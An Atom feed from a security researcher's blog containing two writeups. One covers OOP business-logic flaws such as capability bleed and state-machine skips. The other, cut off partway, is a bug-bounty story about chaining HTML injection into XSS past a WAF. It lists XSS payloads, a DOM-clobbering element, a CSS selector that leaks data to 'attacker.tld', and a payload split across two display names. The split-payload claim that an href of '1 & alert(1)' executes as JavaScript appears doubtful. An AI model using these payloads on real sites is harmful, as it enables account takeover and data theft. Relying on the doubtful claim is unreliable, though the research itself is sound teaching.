<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://abdelrahmanamhawy.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://abdelrahmanamhawy.github.io/" rel="alternate" type="text/html" /><updated>2026-06-29T09:44:14+00:00</updated><id>https://abdelrahmanamhawy.github.io/feed.xml</id><title type="html">Abdelrahman Amhawy</title><subtitle>Personal site of Abdelrahman Amhawy.</subtitle><author><name>Abdelrahman Amhawy</name></author><entry><title type="html">Ghost in the Object — How OOP Design Patterns Become Attack Patterns</title><link href="https://abdelrahmanamhawy.github.io/writeups/ghost-in-the-object/" rel="alternate" type="text/html" title="Ghost in the Object — How OOP Design Patterns Become Attack Patterns" /><published>2026-06-29T00:00:00+00:00</published><updated>2026-06-29T00:00:00+00:00</updated><id>https://abdelrahmanamhawy.github.io/writeups/ghost-in-the-object</id><content type="html" xml:base="https://abdelrahmanamhawy.github.io/writeups/ghost-in-the-object/"><![CDATA[<p>Most developers think in features. An attacker thinks in objects.</p>

<p>Every backend system built in an OOP language — Java, Python, Ruby, Kotlin — models the real world as objects with properties and behaviors. A <code class="language-plaintext highlighter-rouge">Hotel</code> has an <code class="language-plaintext highlighter-rouge">allowSpecifyRoom</code> flag. A <code class="language-plaintext highlighter-rouge">Booking</code> has a <code class="language-plaintext highlighter-rouge">roomNumber</code> field. A <code class="language-plaintext highlighter-rouge">User</code> has a <code class="language-plaintext highlighter-rouge">role</code>.</p>

<p>The vulnerability isn’t always in the code that handles input. Sometimes it’s in the <strong>assumptions baked into the object model itself</strong> — assumptions the UI enforces, but the backend never validates.</p>

<p>This is a class of bugs broader than mass assignment. Broader than IDOR. It lives at the intersection of <strong>business logic and object design.</strong></p>

<hr />

<h2 id="the-mental-model">The Mental Model</h2>

<p>A booking app has hotels. Each hotel is an object with different capabilities:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Hotel A → normal room only
Hotel B → normal room + breakfast
Hotel C → normal room + choose your room number
</code></pre></div></div>

<p>Each hotel is an instance of the same <code class="language-plaintext highlighter-rouge">Hotel</code> class — or a subclass. Each booking flow hits a different endpoint. Each endpoint may or may not validate the hotel’s capabilities before processing your input.</p>

<p>That gap — between what the object <em>says it supports</em> and what the <em>flow actually checks</em> — is the attack surface.</p>

<hr />

<h2 id="pattern-1-capability-bleed">Pattern 1: Capability Bleed</h2>

<h3 id="the-concept">The Concept</h3>

<p>Objects carry capabilities as properties. The UI respects them. The backend — across multiple flows — often doesn’t.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">class</span> <span class="nc">Hotel</span><span class="p">:</span>
    <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">allowSpecifyRoom</span> <span class="o">=</span> <span class="bp">False</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">includesBreakfast</span> <span class="o">=</span> <span class="bp">False</span>
</code></pre></div></div>

<p>Hotel A has <code class="language-plaintext highlighter-rouge">allowSpecifyRoom = False</code>. The UI hides the room picker. You never see the field.</p>

<p>But the backend booking handler looks like this:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Vulnerable flow
</span><span class="k">def</span> <span class="nf">book</span><span class="p">(</span><span class="n">userInput</span><span class="p">):</span>
    <span class="n">booking</span> <span class="o">=</span> <span class="n">Booking</span><span class="p">(</span><span class="n">userInput</span><span class="p">)</span>  <span class="c1"># blindly maps all fields
</span>    <span class="n">db</span><span class="p">.</span><span class="n">save</span><span class="p">(</span><span class="n">booking</span><span class="p">)</span>
</code></pre></div></div>

<p>No check against <code class="language-plaintext highlighter-rouge">hotel.allowSpecifyRoom</code>. The object’s capability flag exists — it’s just never consulted.</p>

<h3 id="the-attack">The Attack</h3>

<p>Intercept the booking request for Hotel A. Inject:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"hotelId"</span><span class="p">:</span><span class="w"> </span><span class="s2">"HotelA_123"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"checkIn"</span><span class="p">:</span><span class="w"> </span><span class="s2">"2025-08-01"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"checkOut"</span><span class="p">:</span><span class="w"> </span><span class="s2">"2025-08-05"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"roomNumber"</span><span class="p">:</span><span class="w"> </span><span class="s2">"101"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>If the flow doesn’t validate the capability, <code class="language-plaintext highlighter-rouge">roomNumber</code> gets mapped and saved.</p>

<h3 id="why-multiple-flows-matter">Why Multiple Flows Matter</h3>

<p>The same <code class="language-plaintext highlighter-rouge">Booking</code> class is reused across flows. The premium flow validates <code class="language-plaintext highlighter-rouge">allowSpecifyRoom</code>. The standard flow — built six months earlier by a different team — doesn’t. Same class. Different instantiation logic. Different validation.</p>

<h3 id="impact">Impact</h3>

<p>Ranges from cosmetic (getting a preferred floor) to critical (booking reserved rooms, out-of-service rooms, or rooms at incorrect prices).</p>

<blockquote>
  <p>This is similar to mass assignment but broader. Mass assignment is about <em>what fields exist</em>. Capability Bleed is about <em>whether this object instance is allowed to use those fields at all</em>.</p>
</blockquote>

<hr />

<h2 id="pattern-2-polymorphism-abuse">Pattern 2: Polymorphism Abuse</h2>

<h3 id="the-concept-1">The Concept</h3>

<p>Polymorphism lets subclasses extend base classes. In a well-designed system, a <code class="language-plaintext highlighter-rouge">PremiumBooking</code> extends <code class="language-plaintext highlighter-rouge">Booking</code> and adds fields like <code class="language-plaintext highlighter-rouge">roomPreference</code> or <code class="language-plaintext highlighter-rouge">upgradeEligible</code>.</p>

<p>The vulnerability: the backend accepts a base class type but you serialize a subclass payload. The validator only knows about the base class — it ignores fields it doesn’t recognize, or worse, it deserializes them anyway.</p>

<h3 id="the-attack-1">The Attack</h3>

<p>Normal booking payload:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"hotelId"</span><span class="p">:</span><span class="w"> </span><span class="s2">"123"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"standard"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"checkIn"</span><span class="p">:</span><span class="w"> </span><span class="s2">"2025-08-01"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>You send a subclass payload:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"hotelId"</span><span class="p">:</span><span class="w"> </span><span class="s2">"123"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"premium"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"checkIn"</span><span class="p">:</span><span class="w"> </span><span class="s2">"2025-08-01"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"upgradeEligible"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span><span class="w">
  </span><span class="nl">"loyaltyTier"</span><span class="p">:</span><span class="w"> </span><span class="s2">"platinum"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>If the backend deserializes based on <code class="language-plaintext highlighter-rouge">type</code> without validating your account’s actual tier, you’ve self-upgraded.</p>

<h3 id="why-it-works">Why It Works</h3>

<p>Polymorphic deserialization is hard to secure. Libraries like Jackson (Java) or Marshmallow (Python) can be configured to deserialize into subclasses based on a type discriminator field — a field <em>you control</em>.</p>

<h3 id="impact-1">Impact</h3>

<p>Privilege escalation at the object level. Not a role change. Not an IDOR. You’re injecting yourself into a higher-capability object type.</p>

<hr />

<h2 id="pattern-3-lazy-initialization--null-default-abuse">Pattern 3: Lazy Initialization / Null Default Abuse</h2>

<h3 id="the-concept-2">The Concept</h3>

<p>Many object fields are initialized to <code class="language-plaintext highlighter-rouge">null</code> or <code class="language-plaintext highlighter-rouge">false</code> as safe defaults. The backend logic reads:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="n">booking</span><span class="p">.</span><span class="n">roomNumber</span> <span class="ow">is</span> <span class="ow">not</span> <span class="bp">None</span><span class="p">:</span>
    <span class="n">assign_room</span><span class="p">(</span><span class="n">booking</span><span class="p">.</span><span class="n">roomNumber</span><span class="p">)</span>
</code></pre></div></div>

<p>The assumption: only flows that explicitly support room selection will ever populate <code class="language-plaintext highlighter-rouge">roomNumber</code>. So the check feels safe.</p>

<p>But <code class="language-plaintext highlighter-rouge">roomNumber</code> being non-null is the <em>only</em> guard. There’s no capability check on the hotel object itself.</p>

<h3 id="the-attack-2">The Attack</h3>

<p>Simply send the field. The backend’s null-check passes. The room gets assigned.</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"hotelId"</span><span class="p">:</span><span class="w"> </span><span class="s2">"123"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"roomNumber"</span><span class="p">:</span><span class="w"> </span><span class="s2">"penthouse"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<h3 id="why-it-works-1">Why It Works</h3>

<p>Developers write null checks as data-integrity guards, not security controls. The mental model during development is: <em>“this field will only be set by our premium flow.”</em> The attacker’s mental model is: <em>“this field will be set by me.”</em></p>

<hr />

<h2 id="pattern-4-shared-constructor-different-context">Pattern 4: Shared Constructor, Different Context</h2>

<h3 id="the-concept-3">The Concept</h3>

<p>The same constructor is called from multiple places in the codebase. Some callers add guards before calling it. Others call it raw.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Secure caller (premium endpoint)
</span><span class="k">if</span> <span class="n">hotel</span><span class="p">.</span><span class="n">allowSpecifyRoom</span> <span class="ow">and</span> <span class="n">user</span><span class="p">.</span><span class="n">isPremium</span><span class="p">:</span>
    <span class="n">booking</span> <span class="o">=</span> <span class="n">Booking</span><span class="p">(</span><span class="n">userInput</span><span class="p">)</span>

<span class="c1"># Insecure caller (legacy endpoint)
</span><span class="n">booking</span> <span class="o">=</span> <span class="n">Booking</span><span class="p">(</span><span class="n">userInput</span><span class="p">)</span>  <span class="c1"># no guards
</span></code></pre></div></div>

<p>The constructor itself doesn’t validate. It trusts its callers to do that. One caller doesn’t.</p>

<h3 id="the-attack-3">The Attack</h3>

<p>Find the legacy or secondary endpoint. It accepts the same <code class="language-plaintext highlighter-rouge">Booking</code> object. It calls the same constructor. But it skips the guards.</p>

<p>You discover this by:</p>
<ul>
  <li>Mapping all booking-related endpoints in the app</li>
  <li>Comparing request/response structures across flows</li>
  <li>Sending the same payload to each endpoint and observing differences</li>
</ul>

<h3 id="why-multiple-endpoints-exist">Why Multiple Endpoints Exist</h3>

<p>Apps grow. Teams change. A “quick” new booking flow gets shipped. It reuses the existing <code class="language-plaintext highlighter-rouge">Booking</code> class because that’s good engineering. But it doesn’t reuse the validation logic because that’s in a different service, or nobody remembered it was there.</p>

<h3 id="impact-2">Impact</h3>

<p>Full bypass of business logic enforced by the secure flow. The insecure endpoint is functionally equivalent but without the guardrails.</p>

<hr />

<h2 id="pattern-5-state-machine-skip">Pattern 5: State Machine Skip</h2>

<h3 id="the-concept-4">The Concept</h3>

<p>Objects have states. A booking moves through:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>PENDING → CONFIRMED → PAID → CHECKED_IN
</code></pre></div></div>

<p>Methods on the object are designed to be called only in specific states. <code class="language-plaintext highlighter-rouge">generateInvoice()</code> only makes sense after <code class="language-plaintext highlighter-rouge">CONFIRMED</code>. <code class="language-plaintext highlighter-rouge">checkIn()</code> only makes sense after <code class="language-plaintext highlighter-rouge">PAID</code>.</p>

<p>The vulnerability: endpoints that call these methods don’t always verify the object’s current state first.</p>

<h3 id="the-attack-4">The Attack</h3>

<p>Find an endpoint that triggers a state-specific action. Call it when the object is in the wrong state.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">checkIn</span><span class="p">(</span><span class="n">bookingId</span><span class="p">):</span>
    <span class="n">booking</span> <span class="o">=</span> <span class="n">db</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="n">bookingId</span><span class="p">)</span>
    <span class="n">booking</span><span class="p">.</span><span class="n">status</span> <span class="o">=</span> <span class="s">"CHECKED_IN"</span>  <span class="c1"># no state validation
</span>    <span class="n">db</span><span class="p">.</span><span class="n">save</span><span class="p">(</span><span class="n">booking</span><span class="p">)</span>
</code></pre></div></div>

<p>Call this before completing payment. You’ve checked in without paying.</p>

<h3 id="why-it-works-2">Why It Works</h3>

<p>State validation is often added as an afterthought. The happy path works. Edge cases — like calling endpoints out of order — aren’t tested. The object model <em>implies</em> a state machine. The code doesn’t <em>enforce</em> it.</p>

<p>Real world analogs:</p>
<ul>
  <li>Completing an order without going through payment</li>
  <li>Accessing premium content before a subscription is confirmed</li>
  <li>Triggering a refund on an order that was never charged</li>
</ul>

<hr />

<h2 id="the-meta-pattern">The Meta-Pattern</h2>

<p>All five patterns share the same root cause:</p>

<p><strong>The object model encodes the rules. The code doesn’t enforce them.</strong></p>

<p>Developers trust the UI to prevent invalid states. They trust other developers to call constructors correctly. They trust that if a field is null, it means it wasn’t set intentionally.</p>

<p>The attacker breaks every one of those assumptions — not with complex exploits, but with a clear understanding of how the system’s objects are supposed to work, and where the enforcement falls short.</p>

<hr />

<h2 id="how-to-hunt-this">How to Hunt This</h2>

<ol>
  <li><strong>Map all endpoints</strong> that touch the same resource type (bookings, orders, subscriptions)</li>
  <li><strong>Compare parameters</strong> across flows — what does one flow accept that another doesn’t expose in the UI?</li>
  <li><strong>Identify object attributes</strong> from responses, error messages, or JS source — what fields exist on the object that the UI never sends?</li>
  <li><strong>Test capability flags</strong> — inject fields that belong to higher-tier object types and observe backend behavior</li>
  <li><strong>Probe state transitions</strong> — call endpoints out of order and see if the backend validates current state</li>
</ol>

<hr />

<h2 id="closing">Closing</h2>

<p>This isn’t a new vulnerability class with a CVE number. It’s a lens.</p>

<p>When you look at an app through OOP — objects, capabilities, states, inheritance — you stop looking for individual bugs and start looking for <strong>design assumptions the backend forgot to enforce</strong>.</p>

<p>That’s where the real findings live.</p>

<hr />

<p><em>Real world examples coming. Have findings that fit these patterns? Reach out.</em></p>]]></content><author><name>Abdelrahman Amhawy</name></author><category term="writeups" /><category term="bug-bounty" /><category term="business-logic" /><category term="mobile" /><category term="android" /><category term="ios" /><category term="oop" /><summary type="html"><![CDATA[Mass assignment is just the beginning. A framework for five OOP misuse patterns that turn clean object design into exploitable business logic bugs.]]></summary></entry><entry><title type="html">Split the payload, not the cheque — Five P3s walk into a bar. One critical walks out.</title><link href="https://abdelrahmanamhawy.github.io/writeups/split-the-payload-not-the-cheque/" rel="alternate" type="text/html" title="Split the payload, not the cheque — Five P3s walk into a bar. One critical walks out." /><published>2026-05-07T00:00:00+00:00</published><updated>2026-05-07T00:00:00+00:00</updated><id>https://abdelrahmanamhawy.github.io/writeups/split-the-payload-not-the-cheque</id><content type="html" xml:base="https://abdelrahmanamhawy.github.io/writeups/split-the-payload-not-the-cheque/"><![CDATA[<p>Don’t say you didn’t find bugs. Say you didn’t find bugs <em>yet</em>.</p>

<hr />

<p>Before you read — this isn’t a technical guide or tutorial. It’s a journey, with technical details. Make a cup of coffee. It’s going to be a long one. Enjoy.</p>

<hr />

<h2 id="the-target">The target</h2>

<p>A fitness/wellness app. Standard surface — track your runs, log activities, follow other users, hit weekly goals.</p>

<p>I started using it like a normal user, and that is something that has worked so well for me so far in bug hunting. Hunting on apps that I can use as a normal user, not a hunter — apps that actually get me interested enough to use them. Subconsciously, you start thinking about cases where you can circumvent controls or business logic. You get attached to the app. You understand it.</p>

<p>So here it was: recording activities, running and walking every day, which is something I liked doing. Can’t lie and say it motivated me to work out every day, because that has to come from the inside, not a mobile app. Anyways, I created a couple of test accounts on the side and started running access-control tests between them. Reading other users’ activities. Trying to modify records I shouldn’t be able to. The usual lateral testing.</p>

<p>A side note about hunting on apps in general — and this is something you’ll understand at some point if you stay in this game long enough: many apps don’t actually care if you cheat <em>yourself</em>. Music players don’t care if you listen to their songs without ads, download them locally, or bypass their stupid no-rewind controls. They know the margin of error is huge, the app is running on your device, and they all know about Frida.</p>

<p>So all that lateral testing on my own accounts was fine, expected even. The interesting stuff starts when something I do on <em>my</em> account affects <em>another user’s</em> experience. That’s a different story.</p>

<p>Then I noticed a feature I’d missed: <strong>groups</strong>. Communities, basically. Some are admin-curated. Others are user-created. You can be invited, or you can request to join. Once you’re in, your activity gets pooled with the rest of the group’s, and there’s a leaderboard.</p>

<p>I joined a few. And on every group page, sitting at the top, there was something called a <strong>Challenge Banner</strong>.</p>

<hr />

<h2 id="what-is-a-challenge-banner">What is a Challenge Banner?</h2>

<p>The banner sits at the top of the group page. Sometimes it’s empty. Sometimes it shows something like:</p>

<blockquote>
  <p>James &amp; Clara are both cycling a lot this week.</p>
</blockquote>

<p>Two users. One sentence. Some shared trait between them. The banner updates daily.</p>

<p>The interesting question is: <em>what triggers it?</em></p>

<p>Eventually I worked out the mechanism. The app awards <strong>points</strong> for a long list of actions — most of them trivial:</p>

<ul>
  <li>Daily login: 1 point</li>
  <li>Confirming your email: 5 points</li>
  <li>Setting a weekly goal: 2 points</li>
  <li>Logging an activity: 3 points</li>
  <li>Joining a challenge: 2 points</li>
  <li>Adding a friend: 1 point</li>
  <li>Updating your profile photo: 1 point</li>
</ul>

<p>…and so on. Dozens of micro-actions, all rolling up into a daily/weekly point total.</p>

<p>The Challenge Banner picks <strong>two users in the same group with similar point totals</strong> and displays them. That’s it. It doesn’t actually require the two users to do the same activity in any real-world sense. It just requires both of them to have the same points.</p>

<p>So as a usual person with interest and curiosity, I tried to get high points. Most of these can be entered manually. You can log “I ran 1000 times today around my whole city” and you will get the points. You will be the first on the leaderboard and appear in the Challenge Banner. Nobody cares — not even the people who made the app. These leaderboards are like trivial games designed to win your mind and convince you that the app is rewarding. Points, competition, showing off (you can share your progress). If you cheat, no other users will interact with you, which defeats the social purpose. So the app doesn’t bother enforcing it.</p>

<blockquote>
  <p><em>Note: if at this point you’re thinking this is an IDOR bug — it’s not.</em></p>
</blockquote>

<p>So I was able to get my name in this Challenge Banner.</p>

<hr />

<h2 id="came-for-logic-bugs-left-with-ato">Came for logic bugs, left with ATO</h2>

<p>After weeks and weeks of trying the app, and other apps. Work, home, life. One day I’m scrolling to the group page. Loaded the Challenge Banner. Reading it, and yaaaaay I find my name. But the surprise wasn’t my name — it’s how it looked.</p>

<p><img src="/assets/images/split-payload-01-banner.png" alt="Challenge banner rendering my display name as an H1 next to another user" /></p>

<blockquote>
  <p><strong>AHMED</strong> &amp; Sara crushed their streak this week.</p>
</blockquote>

<p>And <code class="language-plaintext highlighter-rouge">AHMED</code> was rendered in 2× size. Bold. Then an inter-dimensional thought floated through my head:</p>

<blockquote>
  <p><strong><em>Ahmed is different because Ahmed (me) is actually <code class="language-plaintext highlighter-rouge">&lt;h1&gt;Ahmed&lt;/h1&gt;</code>.</em></strong></p>
</blockquote>

<p><img src="/assets/images/split-payload-02-h1-name.png" alt="The registration form accepted &lt;h1&gt;Ahmed&lt;/h1&gt; as a display name" /></p>

<p>I did that when I registered the account. Unplanned. Completely improvised. I just liked to see if they’d allow special characters. They did. So now this thing was hanging in the DOM of every group page where my account showed up next to a similarly-pointed user.</p>

<p>Two paths from here:</p>

<ol>
  <li>Report it as HTML injection now. Get a low payout, maybe a P3, maybe nothing. But I lock in the finding before someone else gets it.</li>
  <li>Sit on it. Study what gadgets I have. Build the chain. Report critical.</li>
</ol>

<p>So I decided to spend a month with no sleep on this, and not give up.</p>

<p><img src="/assets/images/split-payload-03-pipes.png" alt="Pipes rotating to connect — chaining gadgets" /></p>

<p>Do you know that game we used to play when we were kids — where we’re plumbers rotating the pipes to connect them to each other? Well. Gadgets are something like that. Entities that exist in the environment that you can use to chain together, to create a big “pipe.” They’re famous in a lot of attacks regarding mobile and web.</p>

<p>You probably know “gadget” from insecure deserialization — functions sitting in the server’s classpath that you can chain into RCE. Or from cache poisoning — a cached response with an unkeyed header is, on its own, useless. But if there’s a JS function on the page that reads that header and trusts it, now you’ve got a gadget. You poison the cache and the JS picks it up and eats it like dinner. Another famous example is open redirect plus lax cookies in CSRF attacks.</p>

<p>The good news is that with the rapid development happening in apps today, more features will keep getting released — which means more gadgets and more stuff to try and break.</p>

<hr />

<h2 id="setup-the-tents-we-arent-leaving-anytime-soon">Setup the tents, we aren’t leaving anytime soon</h2>

<p>Frida server on my phone. JADX on one monitor. Burp on the other.</p>

<p>The trick most people miss with WebView debugging — and I didn’t know it before this engagement either — is that you can attach Chrome DevTools directly to the WebView running on the device. One ADB forward:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>adb forward tcp:9222 localabstract:chrome_devtools_remote
</code></pre></div></div>

<p>Open <code class="language-plaintext highlighter-rouge">chrome://inspect</code>. The app’s WebViews show up. Click <code class="language-plaintext highlighter-rouge">inspect</code> and you’ve got full DevTools — live DOM, live console, live network — on the actual page in the actual app on the actual device. If you take one tool away from this writeup, take this one.</p>

<p>I opened DevTools, switched to Elements, found the banner container.</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;div</span> <span class="na">class=</span><span class="s">"challenge-banner"</span><span class="nt">&gt;</span>
    <span class="nt">&lt;h1&gt;</span>Ahmed<span class="nt">&lt;/h1&gt;</span> <span class="err">&amp;</span> Sara crushed their streak this week.
<span class="nt">&lt;/div&gt;</span>
</code></pre></div></div>

<p>A real <code class="language-plaintext highlighter-rouge">&lt;h1&gt;</code>. Not escaped text. The renderer was concatenating the two display names directly into <code class="language-plaintext highlighter-rouge">innerHTML</code>.</p>

<p>Confirmed.</p>

<hr />

<h2 id="xss-payloads-the-same-age-as-your-grandparents-failed">XSS payloads the same age as your grandparents (Failed)</h2>

<p>Now for the obvious next step. Throw real XSS payloads at the display name field on registration and see what makes it through.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;script&gt;alert(1)&lt;/script&gt;          → blocked
&lt;img src=x onerror=alert(1)&gt;       → blocked
&lt;svg onload=alert(1)&gt;              → blocked
&lt;iframe srcdoc=...&gt;                → blocked
javascript:alert(1)                → blocked
data:text/html,&lt;svg/onload=...&gt;    → blocked
'-alert(1)-'                       → blocked
</code></pre></div></div>

<p>The app sat behind an enterprise WAF with a comprehensive signature set, and every classic came back rejected.</p>

<p>This is the moment I usually start losing hope. Fingers slow down on the keyboard. Maybe this one’s just an HTML injection P3 after all. Maybe I file what I have and move on.</p>

<p>But the bug is still here. The bug doesn’t go away because the WAF blocks every name on its denylist. The bug is <code class="language-plaintext highlighter-rouge">innerHTML</code> of concatenated user input — and the WAF is just a guard at the front gate with a list of banned words. The bug is <em>inside</em> the building. The guard is just deciding what I can carry through the door.</p>

<p>So I have to walk through the door carrying something the guard <em>doesn’t recognize as a weapon</em>.</p>

<hr />

<h2 id="other-client-side-primitives">Other client-side primitives</h2>

<p>Checked the framework first. The frontend was running a major SPA framework, most of the bundled JS minified. PortSwagger has done excellent published research on framework-level XSS gadgets — <code class="language-plaintext highlighter-rouge">vue.js</code> template-injection sinks, <code class="language-plaintext highlighter-rouge">Angular</code> sandbox escapes, etc. — but the relevant prototype-level gadgets in this app weren’t sticking out, so I went looking elsewhere.</p>

<h3 id="dom-clobbering-failed">DOM clobbering (Failed)</h3>

<p>Before this bug, I knew about DOM clobbering from PortSwagger’s writeups but had never crossed my mind as something I’d actually execute against a target.</p>

<p>But it’s a beautiful <strong>reverse sink</strong>. Normal XSS goes one direction: payload in → JS picks it up → assigned to HTML somewhere. DOM clobbering is the opposite direction. Your input <em>starts</em> in HTML. The HTML element pollutes the global object. The JS reads the polluted global and changes its behavior.</p>

<p>No script tag. No event handler. The WAF doesn’t see code, it sees a <code class="language-plaintext highlighter-rouge">&lt;form&gt;</code> element.</p>

<p>The browser has an interesting feature where elements with an <code class="language-plaintext highlighter-rouge">id</code> get exposed on <code class="language-plaintext highlighter-rouge">window</code> — <code class="language-plaintext highlighter-rouge">&lt;a id=x&gt;</code> makes <code class="language-plaintext highlighter-rouge">window.x</code> reachable from JavaScript. Look up “named element references” in the HTML spec if you want the details. Not the point of this article.</p>

<p>I dropped this in my display name:</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;form</span> <span class="na">id=</span><span class="s">challengeConfig</span><span class="nt">&gt;</span>
</code></pre></div></div>

<p>23 characters. Passed the WAF cleanly. Element rendered. <code class="language-plaintext highlighter-rouge">'challengeConfig' in window</code> flipped from <code class="language-plaintext highlighter-rouge">false</code> to <code class="language-plaintext highlighter-rouge">true</code>. I changed a UI flow.</p>

<p>It worked.</p>

<p>But nothing happened. No useful sink, no useful gadget. The branch I’d hijacked just changed banner colors. Right tool. Wrong room.</p>

<h3 id="css-injection-failed">CSS injection (Failed)</h3>

<p>They are just selectors.</p>

<p><img src="/assets/images/split-payload-04-css-injection.png" alt="CSS injection — selectors firing background-url leaks" /></p>

<p>Similar to DOM clobbering, CSS injection wasn’t something I’d tried before this engagement. But here we go — I tried, and realized it’s just selectors that fire <code class="language-plaintext highlighter-rouge">background: url(//attacker.tld/?leak=a)</code> <em>if and only if</em> some attribute starts with <code class="language-plaintext highlighter-rouge">a</code>. The WAF doesn’t block them because to a signature scanner, CSS isn’t code. Beautiful primitive.</p>

<p>Useless here, though. For CSS injection to leak something, that <em>something</em> has to already be in the DOM. The token I wanted wasn’t. It was held by JavaScript at runtime, behind a function call. CSS couldn’t touch it.</p>

<p>PortSwagger rocks though. Filed for the next target.</p>

<h3 id="dangling-markup--so-close-90">Dangling markup — <em>so close, 90%</em></h3>

<p>Browsers are executables at the end of the day. They abide by parser rules — sophomore-year compiler stuff. So if you give the parser this:</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;a</span> <span class="na">href=</span><span class="s">'a
</span></code></pre></div></div>

<p>…it will keep reading every byte after the unclosed quote, swallowing markup, text, all of it, until it finally finds a closing <code class="language-plaintext highlighter-rouge">'&gt;</code> somewhere far down the page.</p>

<p>Hold that thought for a second.</p>

<hr />

<h2 id="the-x-character-problem">The X-character problem</h2>

<p>I never asked myself what my limit was.</p>

<p>The display name field on this app caps at <strong>X characters</strong>. This means even if my XSS payload worked, I’d never fit a real exfiltration payload in X characters. No <code class="language-plaintext highlighter-rouge">fetch('...' + document.cookie)</code>. No CSRF chain. Best case, an <code class="language-plaintext highlighter-rouge">alert(1)</code> PoC if I was lucky.</p>

<p>The gadget wasn’t in code. It was in the <strong>business plan</strong>. The business function. It was in the design itself. Something so harmless the developer or designer used it without thinking, that turns out to be a fatal mistake.</p>

<p>And then I just asked myself: <em>if this ampersand wasn’t there, or if there was a way I could concatenate my payload across multiple fields…</em></p>

<p>Hold a minute.</p>

<p><strong><em>HOOOOOOOOLD A MINUTE.</em></strong></p>

<p><img src="/assets/images/split-payload-05-hold-a-minute.png" alt="Hold a minute — splitting the payload across two display names" /></p>

<p>Yes.</p>

<p>Did you know that <code class="language-plaintext highlighter-rouge">1 &amp; alert(1)</code> will result in <code class="language-plaintext highlighter-rouge">alert(1)</code> getting evaluated? Just simple programming, really. <code class="language-plaintext highlighter-rouge">&amp;</code> is a respectable character when it comes to booleans and bitwise operations.</p>

<p><strong>If we’re in HTML, and we can execute JS, this means <code class="language-plaintext highlighter-rouge">1 &amp; malicious(1)</code> executes <code class="language-plaintext highlighter-rouge">malicious(1)</code>.</strong></p>

<p>So what if I split my payload across two display names:</p>

<table>
  <thead>
    <tr>
      <th>Account</th>
      <th>Display name (≤ x chars)</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>A</td>
      <td><code class="language-plaintext highlighter-rouge">&lt;a href='1</code></td>
    </tr>
    <tr>
      <td>B</td>
      <td><code class="language-plaintext highlighter-rouge">alert(1)'&gt;tap me</code></td>
    </tr>
  </tbody>
</table>

<p>The renderer concatenates them with <code class="language-plaintext highlighter-rouge">' &amp; '</code> — that’s how the banner builds the sentence. So in the rendered DOM:</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;a</span> <span class="na">href=</span><span class="s">'1 &amp; alert(1)'</span><span class="nt">&gt;</span>tap me
</code></pre></div></div>

<p>The HTML parser sees one valid <code class="language-plaintext highlighter-rouge">&lt;a&gt;</code> tag with an <code class="language-plaintext highlighter-rouge">href</code> attribute. The dangling-markup observation from earlier saves us — <em>inside an open quoted attribute, the <code class="language-plaintext highlighter-rouge">&amp;</code> is just a character</em>. The parser doesn’t terminate on it. It just keeps reading until the closing <code class="language-plaintext highlighter-rouge">'</code>.</p>

<p>Then when the link is tapped, the JS engine evaluates the <code class="language-plaintext highlighter-rouge">href</code> as a JavaScript URL. And inside that JavaScript, <code class="language-plaintext highlighter-rouge">&amp;</code> is no longer “just a character” — it’s a <strong>bitwise AND operator</strong>. Both sides evaluate. The expression runs.</p>

<p>Two halves. Each one harmless on its own. Each one passes the WAF on its own — neither has <code class="language-plaintext highlighter-rouge">&lt;script&gt;</code>, neither has <code class="language-plaintext highlighter-rouge">javascript:</code>, neither has any signature on the WAF’s list.</p>

